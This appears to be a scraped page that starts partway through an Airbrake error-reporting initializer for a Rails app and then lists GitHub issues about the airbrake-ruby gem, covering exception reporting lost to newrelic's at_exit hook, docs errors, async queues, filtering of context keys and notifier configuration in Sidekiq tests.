  # helps us to filter out repetitive data from backtrace frames and link to
  # GitHub files from our dashboard.
  # https://github.com/airbrake/airbrake-ruby#root_directory
  c.root_directory = Rails.root

  # By default, Airbrake Ruby outputs to STDOUT. In Rails apps it makes sense to
  # use the Rails' logger.
  # https://github.com/airbrake/airbrake-ruby#logger
  c.logger = Rails.logger

  # Configures the environment the application is running in. Helps the Airbrake
  # dashboard to distinguish between exceptions occurring in different
  # environments. By default, it's not set.
  # https://github.com/airbrake/airbrake-ruby#environment
  c.environment = Rails.env

  # Setting this option allows Airbrake to filter exceptions occurring in
  # unwanted environments such as :test. By default, it is equal to an empty
  # Array, which means Airbrake Ruby sends exceptions occurring in all
  # environments.
  # https://github.com/airbrake/airbrake-ruby#ignore_environments
  c.ignore_environments = %w(test)
end if defined?(Airbrake)

# If Airbrake doesn't send any expected exceptions, we suggest to uncomment the
# line below. It might simplify debugging of background Airbrake workers, which
# can silently die.
# Thread.abort_on_exception = ['test', 'development'].include?(Rails.env)

Description

Following command raise exception, but Airbrake doesn't report about it:

$ heroku run rails r 'raise'

It happens if we installed newrelic_rpm.

I think $ERROR_INFO changed to nil in newrelic's at_exit hook.

If we rescued some exceptions on at_exit hook, $ERROR_INFO ($!) is changed to nil.

$ ruby -e 'at_exit { p $! }; raise'  
# RuntimeError
$ ruby -e 'at_exit { p $! }; at_exit { raise rescue nil }; raise'        
# nil

So I think we shouldn't use at_exit hook to report unhandled errors.

Workaround

We can disable newrelic's at_exit hook on our newrelic.yml:

production:
  <<: *default_settings
  send_data_on_exit: false

Broken docs with '.add_filter' example -- notice[:error_class] didn't exists

You have next example (https://github.com/airbrake/airbrake-ruby#airbrakeadd_filter):

Airbrake.add_filter do |notice|
  notice.ignore! if notice[:error_class] == 'StandardError'
end

Actually, notice object allows 'hash-like' access to @modifiable_payload, but this instant variable initiated this way:

@modifiable_payload = {
        errors: errors(exception),
        context: context(params),
        environment: {},
        session: {},
        params: params
 }

And method that add additional key-values checks keys with whitelist of writable keys:

WRITABLE_KEYS = [
      :notifier,
      :context,
      :environment,
      :session,
      :params
    ]

So, there couldn't be key :error_class that was specified in docs.

Using persistent queues for async notices

  • Airbrake version: Upgrading from 4.3.3 to 5.5.0
  • Ruby version: 2.0
  • Framework name & version: Rails 4.2 and Unicorn 4.9

Due to airbrake's new async notifier, the queue is now a part of the main application code and the queue is cleared(or destroyed) when the application itself crashes.

Is there a way to use persistent queues so that I don't lose any notifications?

Switch to sync model if queue is full

Is it possible to switch sync calls if I have my queue full? Currently if I will send 1000 errors and the queue is only 100, 900 will be ignored, really unexpected for me.

Looks like #47 this PR removed exactly what I I'm asking for)

Maybe it's better to have config option to switch between these 2 models(blocking or rejecting)? Looks like it's easy to add

Get rid of third argument in public API methods

The third argument is notifier_name. I never really liked the way it's designed, but it's was simple in terms of implementation. Reminder, this is the old API:

Airbrake.notify('oops', params, :project_a)
# ...
Airbrake.any_function_call(any_args, :project_a)

Instead, I'd like to decouple :project_a from method signatures. Proposed way:

Airbrake[:project_a].notify('oops', params)

The old way of calling Airbrake must also be supported: Airbrake.notify.

the 'default' notifier was already configured (Airbrake::Error)

Hey,

I'm new to airbrake. This is my config code:

Airbrake.configure do |config|
  config.project_key = 'xxxxxxx'
  config.project_id = xxxxxx
  config.ignore_environments = %w(development test)
end

Not sure how to fix this 'default' notifier was already configured error. Any advice would be appreciated.

Context keys are not filtered

Configuring with c.blacklist_keys = [/password/i, 'email', 'name'] doesn't filter user's email and name. Airbrake::Rack::NoticeBuilder pulls the values from Warden and adds them to context.

I noticed :context is not part of Airbrake::Filters::FILTERABLE_KEYS https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/filters.rb#L8

I'm guessing I can work around the problem by writing a custom filter, but would be nice if the blacklist applied to :context.

Docs out of date for sending current_user information?

I was trying to get user information associated with an error working, mentioned in the readme

Looks like some options related to it were removed in the migration to 5. My guess is that also changed it so the Airbrake::Rack::User middleware is no longer automatically inserted? I see it still exists, but it doesn't look to be used:

https://github.com/airbrake/airbrake/blob/a77b20bbdb1cd089b775d613482552f067b0c4df/lib/airbrake/rack/user.rb

https://github.com/airbrake/airbrake/blob/05e66f4941d4cedcb690124703b63ec0b498c293/lib/airbrake/rails/railtie.rb

If so, what's the recommended way to insert this middleware?

obsolete version warning is too loud

It's annoying to get a yellow alert banner from production exceptions for airbrake-ruby gem versions that are only slightly out of date.

In this case, airbrake-ruby has been out for 4 days and I'm already getting emails yelling about it. Production servers aren't necessarily updated with new gem libraries every few days, and it's not reasonable to expect that unless there are serious security errors. Is that the case here?

screen shot 2016-09-13 at 1 13 15 pm

use a default for root_directory

something sensible would be nice to avoid having to always set it ...

(defined?(Bundler) && Bundler.root.to_s) || File.expand_path(Dir.pwd)

Airbrake::Error: the 'default' notifier isn't configured" thrown when an error occurs in a sidekiq job while running tests

We have some Sidekiq jobs in a Rails project and this is the error message we see when an error occurs INSIDE a job during testing. Errors inside of the spec itself work correctly.

# my_job.rb
class MyJob < ActiveJob::Base
  queue_as :default
  def perform(id)
    1 / 0
  end
end
# spec/support/sidekiq.rb
require 'sidekiq/testing'
Sidekiq::Logging.logger = nil
Sidekiq::Testing.inline!
# spec/my_job_spec.rb
RSpec.describe MyJob do
  it 'fails as expected' do
    1 / 0 #=> RSpec displays ZeroDivisionError
  end

  it 'does not fail as expected' do
    MyJob.perform_later 1 #=> Airbrake::Error (the real error is completely hidden)
  end
end

"can't parse '#{stackframe}' (please file an issue so we can fix " \

I got this particular error which led me here, I am filing an issue because the code asked to!

I ended up finding the error that broke airbrake, working in CoffeeScript with better errors that error kept popping up.

I found the problem, my JS tendencies had popped up and I had assigned var x = [] instead of x = [], causing this error to pop up.

Thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.